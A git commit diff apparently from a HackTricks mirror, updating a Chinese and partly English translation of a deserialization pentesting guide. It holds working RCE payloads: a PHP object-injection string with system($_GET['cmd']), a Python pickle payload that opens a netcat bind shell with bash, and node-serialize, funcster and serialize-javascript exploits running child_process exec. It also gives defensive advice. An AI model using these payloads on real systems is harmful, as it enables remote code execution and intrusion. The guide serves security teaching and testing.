mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/README.md', 'src/pentest
This commit is contained in:
parent
0f28f42612
commit
b57dcf224b
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -1,24 +1,24 @@
|
||||
# Deserialization
|
||||
# 反序列化
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**序列化**被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。
|
||||
**序列化** 是指将对象转换为可保存的格式的方法,目的是将对象存储或作为通信过程的一部分进行传输。此技术通常用于确保对象可以在稍后恢复,保留其结构和状态。
|
||||
|
||||
**反序列化**,相反,是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
**反序列化** 则是与序列化相对的过程。它涉及将已按特定格式构造的数据重新还原为对象。
|
||||
|
||||
反序列化可能是危险的,因为它可能**允许攻击者操纵序列化数据以执行有害代码**或在对象重建过程中导致应用程序出现意外行为。
|
||||
反序列化可能很危险,因为它可能**允许攻击者操纵序列化数据以执行恶意代码**或在对象重建过程中导致应用出现意外行为。
|
||||
|
||||
## PHP
|
||||
|
||||
在PHP中,特定的魔术方法在序列化和反序列化过程中被使用:
|
||||
在 PHP 中,序列化和反序列化过程中会使用到一些特定的魔术方法:
|
||||
|
||||
- `__sleep`: 在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。
|
||||
- `__wakeup`: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。
|
||||
- `__unserialize`: 当对象被反序列化时,此方法会被调用(如果存在),而不是`__wakeup`。与`__wakeup`相比,它对反序列化过程提供了更多控制。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。
|
||||
- `__toString`: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。
|
||||
- `__sleep`: 在对象被序列化时调用。该方法应返回一个数组,包含要被序列化的对象所有属性的名称。通常用于提交待处理的数据或执行类似的清理工作。
|
||||
- `__wakeup`: 在对象被反序列化时调用。用于重新建立在序列化期间可能丢失的数据库连接并执行其他重新初始化操作。
|
||||
- `__unserialize`: 在对象被反序列化时(如果存在)会代替 `__wakeup` 被调用。与 `__wakeup` 相比,它在反序列化过程中提供了更多的控制。
|
||||
- `__destruct`: 在对象即将被销毁或脚本结束时调用。通常用于清理任务,例如关闭文件句柄或数据库连接。
|
||||
- `__toString`: 允许对象被当作字符串使用。它可以用于基于内部函数调用执行读取文件或其他任务,从而为对象提供文本表示。
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,**`__toString`** 函数被调用,但显然这**不再发生**。
|
||||
如果查看结果,你可以看到当对象被反序列化时,会调用函数 **`__wakeup`** 和 **`__destruct`**。注意,在一些教程中会提到当尝试打印某个属性时会调用 **`__toString`**,但显然这**不再发生**。
|
||||
|
||||
> [!WARNING]
|
||||
> 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**调用该方法而不是 `__wakeup()`**。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
|
||||
> 如果类中实现了方法 **`__unserialize(array $data)`**,则会调用它而**不是 `__wakeup()`**。该方法允许你通过将序列化数据作为数组来反序列化对象。你可以使用此方法反序列化属性并在反序列化时执行任何必要的操作。
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,16 +85,17 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // 在反序列化时执行任何必要的任务。
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),在这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或在这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
你可以在以下链接阅读解释性的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、[https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP 反序列化 + 自动加载类
|
||||
|
||||
你可以滥用 PHP 自动加载功能来加载任意的 php 文件等:
|
||||
You could abuse the PHP autoload functionality to load arbitrary php files and more:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -102,7 +103,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### 序列化引用值
|
||||
|
||||
如果出于某种原因你想将一个值序列化为**对另一个序列化值的引用**,你可以:
|
||||
如果出于某种原因你想将一个值序列化为对另一个已序列化值的**引用**,你可以:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -115,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### 防止 PHP 对象注入使用 `allowed_classes`
|
||||
### 使用 `allowed_classes` 防止 PHP 对象注入
|
||||
|
||||
> [!INFO]
|
||||
> 在 **PHP 7.0** 中添加了 `unserialize()` 的 **第二个参数**(`$options` 数组)的支持。在旧版本中,该函数仅接受序列化字符串,因此无法限制可以实例化哪些类。
|
||||
> 自 **PHP 7.0** 起,`unserialize()` 的**第二个参数**(即 `$options` 数组)得到支持。在更旧的版本中该函数只接受序列化字符串,因此无法限制可能被实例化的类。
|
||||
|
||||
`unserialize()` 将 **实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项限制该行为:
|
||||
`unserialize()` 会**实例化**序列化流中它遇到的每个类,除非另有设置。自 PHP 7 起,可以通过 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项来限制此行为:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -135,11 +136,11 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
如果 **`allowed_classes` 被省略 _或_ 代码在 PHP < 7.0 上运行**,则调用变得 **危险**,因为攻击者可以构造一个利用魔术方法如 `__wakeup()` 或 `__destruct()` 的有效载荷,从而实现远程代码执行 (RCE)。
|
||||
如果 **`allowed_classes` 被省略 _或_ 代码在 PHP < 7.0 上运行**,该调用变得**危险**,因为攻击者可以构造滥用魔术方法如 `__wakeup()` 或 `__destruct()` 的载荷以实现远程代码执行 (RCE)。
|
||||
|
||||
#### 真实案例:Everest Forms (WordPress) CVE-2025-52709
|
||||
#### 真实世界示例: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忘记了旧版 PHP。
|
||||
WordPress 插件 **Everest Forms ≤ 3.2.2** 试图使用一个辅助包装器来防护,但忘记考虑旧版 PHP:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -154,29 +155,30 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
在仍然运行 **PHP ≤ 7.0** 的服务器上,这第二个分支导致了经典的 **PHP Object Injection**,当管理员打开一个恶意的表单提交时。一个最小的利用有效载荷可能如下所示:
|
||||
在仍然运行 **PHP ≤ 7.0** 的服务器上,当管理员打开恶意的表单提交时,该第二分支会导致经典的 **PHP Object Injection**。一个最小的 exploit payload 可能如下所示:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
一旦管理员查看了条目,对象就被实例化,`SomeClass::__destruct()` 被执行,导致任意代码执行。
|
||||
一旦管理员查看该条目,对象就会被实例化并执行 `SomeClass::__destruct()`,导致任意代码执行。
|
||||
|
||||
**要点**
|
||||
1. 调用 `unserialize()` 时始终传递 `['allowed_classes' => false]`(或严格的白名单)。
|
||||
2. 审计防御性包装 – 它们通常会忽略遗留的 PHP 分支。
|
||||
3. 单独升级到 **PHP ≥ 7.x** 是 *不* 足够的:该选项仍需明确提供。
|
||||
1. 调用 `unserialize()` 时,始终传入 `['allowed_classes' => false]`(或严格的白名单)。
|
||||
2. 审计防御包装器 —— 它们经常忘记处理 PHP 的旧分支。
|
||||
3. 仅升级到 **PHP ≥ 7.x** 并不足够:仍需显式提供该选项。
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\
|
||||
请注意,在某些情况下,你 **无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\
|
||||
因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的 gadget 你可以滥用。
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成 payloads 来滥用 PHP deserializations.\
|
||||
请注意,在许多情况下你 **won't be able to find a way to abuse a deserialization in the source code** of the application,但你可能能够 **abuse the code of external PHP extensions.**\
|
||||
因此,如果可能,检查服务器的 `phpinfo()` 并**在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)你可能可以滥用的一些 gadget。
|
||||
|
||||
### phar:// 元数据反序列化
|
||||
### phar:// metadata deserialization
|
||||
|
||||
如果你发现了一个只是读取文件而不执行其中 PHP 代码的 LFI,例如使用 _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_** 之类的函数。** 你可以尝试滥用在使用 **phar** 协议读取 **文件** 时发生的 **deserialization**。\
|
||||
更多信息请阅读下列文章:
|
||||
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用像 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\
|
||||
有关更多信息,请阅读以下帖子:
|
||||
|
||||
{{#ref}}
|
||||
../file-inclusion/phar-deserialization.md
|
||||
@ -186,8 +188,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
|
||||
### **Pickle**
|
||||
|
||||
当对象被反序列化时,函数 \_\_\_reduce\_\_\_ 将被执行。\
|
||||
当被利用时,服务器可能会返回错误。
|
||||
当对象被 unpickle 时,函数 \_\_\_reduce\_\_\_ 会被执行。\
|
||||
被利用时,服务器可能返回错误。
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -195,9 +197,10 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。
|
||||
Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
|
||||
|
||||
For more information about escaping from **pickle jails** check:
|
||||
|
||||
有关从 **pickle jails** 逃逸的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -205,13 +208,15 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个可以用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载的工具结束:
|
||||
The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### 类污染 (Python 原型污染)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -219,12 +224,12 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS 魔法函数
|
||||
### JS Magic Functions
|
||||
|
||||
JS **没有像 PHP 或 Python 那样的 "魔法" 函数**,这些函数仅用于创建对象而被执行。但它有一些 **函数**,即使没有直接调用它们也 **经常使用**,例如 **`toString`**、**`valueOf`**、**`toJSON`**。\
|
||||
如果滥用反序列化,您可以 **妥协这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时,您可以执行任意代码。
|
||||
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
如果在滥用 deserialization 时,你可以 compromise 这些 functions 来执行其他代码(可能借助 prototype pollutions),那么当它们被调用时就有可能执行任意代码。
|
||||
|
||||
另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)_。
|
||||
Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -248,9 +253,10 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` 和 `prototype` 污染
|
||||
### `__proto__` and `prototype` pollution
|
||||
|
||||
如果你想了解该技术,**请查看以下教程**:
|
||||
|
||||
如果你想了解这个技术 **请查看以下教程**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -258,7 +264,7 @@ nodejs-proto-prototype-pollution/
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
这个库允许序列化函数。示例:
|
||||
该库允许序列化函数。示例:
|
||||
```javascript
|
||||
var y = {
|
||||
rce: function () {
|
||||
@ -271,23 +277,23 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
序列化对象将如下所示:
|
||||
这个 **序列化对象** 将如下所示:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
您可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_` 标志被附加到序列化对象上。
|
||||
你可以看到在示例中,当一个函数被序列化时,`_$$ND_FUNC$$_` 标志会被附加到序列化的对象上。
|
||||
|
||||
在文件 `node-serialize/lib/serialize.js` 中,您可以找到相同的标志以及代码是如何使用它的。
|
||||
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
如你在最后一段代码中所见,**如果找到该标志** 则使用 `eval` 来反序列化函数,因此本质上是 **user input 被用在 `eval` 函数内部**。
|
||||
|
||||
然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\
|
||||
无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
|
||||
在下一段代码中**注意最后的括号**以及 `unserialize` 函数将如何自动执行代码:
|
||||
然而,**仅仅序列化** 一个函数 **不会执行它**,因为需要代码的某部分在我们的示例中 **调用 `y.rce`**,而这很 **不太可能**.\
|
||||
无论如何,你可以 **修改序列化的对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
|
||||
在下一段代码中,**注意最后的括号** 以及 `unserialize` 函数如何自动执行该代码:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -295,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个JS单行代码**,如下例所示:
|
||||
如前所述,该库会获取`_$$ND_FUNC$$_`之后的代码并使用`eval`**执行它**。因此,为了**自动执行代码**,你可以**删除函数创建**部分和最后的括号,并**仅执行一个 `JS oneliner`**,例如下面的示例:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
您可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **更多信息**,了解如何利用此漏洞。
|
||||
你可以[**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) 找到有关如何利用此漏洞的**更多信息**。
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用 `console.log()` 或 `require(something)` 等命令时,会导致类似于 `"ReferenceError: console is not defined"` 的异常。
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 无法访问;它们位于可访问作用域之外。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用像 `console.log()` 或 `require(something)` 这样的命令时,会导致诸如 `"ReferenceError: console is not defined"` 的异常。
|
||||
|
||||
尽管有此限制,但通过特定方法可以恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
|
||||
尽管存在此限制,但可以通过特定方法恢复对全局上下文(包括所有标准内置对象)的完全访问。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -330,17 +336,17 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**有关**[ **更多信息,请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**有关**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化数据:
|
||||
The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
如果这个函数用于反序列化对象,你可以**轻松利用它**:
|
||||
如果这个函数用于 deserialize 对象,你可以 **easily exploit it**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -354,7 +360,7 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**有关**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo 库
|
||||
|
||||
@ -365,79 +371,89 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。
|
||||
在 Java 中,**deserialization callbacks 在 deserialization 过程中被执行**。攻击者可以通过构造恶意 payload 来触发这些 callbacks,从而可能执行有害操作。
|
||||
|
||||
### 指纹
|
||||
### Fingerprints
|
||||
|
||||
#### 白盒
|
||||
|
||||
要识别代码库中潜在的序列化漏洞,请搜索:
|
||||
要在代码库中识别潜在的 serialization 漏洞,请搜索:
|
||||
|
||||
- 实现了 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
|
||||
- 实现 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
|
||||
|
||||
特别注意:
|
||||
|
||||
- 与外部用户定义的参数一起使用的 `XMLDecoder`。
|
||||
- `XStream` 的 `fromXML` 方法,特别是当 XStream 版本小于或等于 1.46 时,因为它容易受到序列化问题的影响。
|
||||
- 与 `readObject` 方法结合使用的 `ObjectInputStream`。
|
||||
- 实现 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal` 等方法。
|
||||
- 在参数由外部用户定义时使用的 `XMLDecoder`。
|
||||
- `XStream` 的 `fromXML` 方法,尤其是当 XStream 版本小于或等于 1.46 时,因为它容易受到 serialization 问题的影响。
|
||||
- 将 `ObjectInputStream` 与 `readObject` 方法一起使用的情况。
|
||||
- 实现诸如 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal` 等方法。
|
||||
- `ObjectInputStream.readUnshared`。
|
||||
- 一般使用 `Serializable`。
|
||||
- 广泛使用 `Serializable`。
|
||||
|
||||
#### 黑盒
|
||||
|
||||
对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示 java 序列化对象(源自 `ObjectInputStream`):
|
||||
对于黑盒测试,请查找表示 java serialized objects(来自 `ObjectInputStream`)的特定 **signatures 或 "Magic Bytes"**:
|
||||
|
||||
- 十六进制模式:`AC ED 00 05`。
|
||||
- Base64 模式:`rO0`。
|
||||
- HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。
|
||||
- 表示先前压缩的十六进制模式:`1F 8B 08 00`。
|
||||
- 表示先前压缩的 Base64 模式:`H4sIA`。
|
||||
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
|
||||
- HTTP 响应头 `Content-type` 设置为 `application/x-java-serialized-object`。
|
||||
- 表示先前被压缩的十六进制模式:`1F 8B 08 00`。
|
||||
- 表示先前被压缩的 Base64 模式:`H4sIA`。
|
||||
- 带有 `.faces` 扩展名的 Web 文件以及 `faces.ViewState` 参数。在 Web 应用中发现这些模式应提示对 [关于 Java JSF ViewState Deserialization 的文章](java-jsf-viewstate-.faces-deserialization.md) 中详述的情形进行检查。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### 检查是否存在漏洞
|
||||
### 检查是否易受攻击
|
||||
|
||||
如果你想要**了解Java反序列化漏洞是如何工作的**,你应该查看[**基本Java反序列化**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS反序列化**](java-dns-deserialization-and-gadgetprobe.md)和[**CommonsCollection1有效载荷**](java-transformers-to-rutime-exec-payload.md)。
|
||||
如果你想 **了解 Java Deserialized exploit 的工作原理**,可以参考 [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 和 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)。
|
||||
|
||||
#### SignedObject-gated deserialization 和 pre-auth 可达性
|
||||
|
||||
现代代码库有时会用 `java.security.SignedObject` 包裹 deserialization,并在调用 `getObject()`(反序列化内部对象)之前验证签名。这样可以阻止任意的 top-level gadget classes,但如果攻击者能获得有效签名(例如 private-key compromise 或 signing oracle),仍可能被利用。此外,错误处理流程可能会为未认证用户 mint session-bound tokens,从而在 pre-auth 阶段暴露原本受保护的 sinks。
|
||||
|
||||
有关包含请求、IoCs 和加固建议的具体案例研究,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### 白盒测试
|
||||
|
||||
你可以检查是否安装了任何已知存在漏洞的应用程序。
|
||||
你可以检查系统中是否安装了任何具有已知漏洞的应用程序。
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)中指示的库。\
|
||||
您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\
|
||||
运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector不会创建利用,并且可能会指示误报**。
|
||||
你可以尝试检查所有已知存在漏洞且 [**Ysoserial**](https://github.com/frohoff/ysoserial) 能为其提供 exploit 的 libraries。或者你可以查看 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) 中指出的 libraries。\
|
||||
你也可以使用 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) 来搜索可能被利用的 gadget chains。\
|
||||
在运行 **gadgetinspector**(编译后)时,不要在意它产生的大量警告/错误,等它运行完成。它会将所有发现写入 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector 不会创建 exploit,并且可能存在误报**。
|
||||
|
||||
#### 黑盒测试
|
||||
|
||||
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**可用的库**(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\
|
||||
[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe专注于**`ObjectInputStream`反序列化**。
|
||||
使用 Burp 扩展 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) 你可以识别**哪些 libraries 可用**(甚至包括版本)。有了这些信息,选择用于 exploit 漏洞的 payload 会更容易。\
|
||||
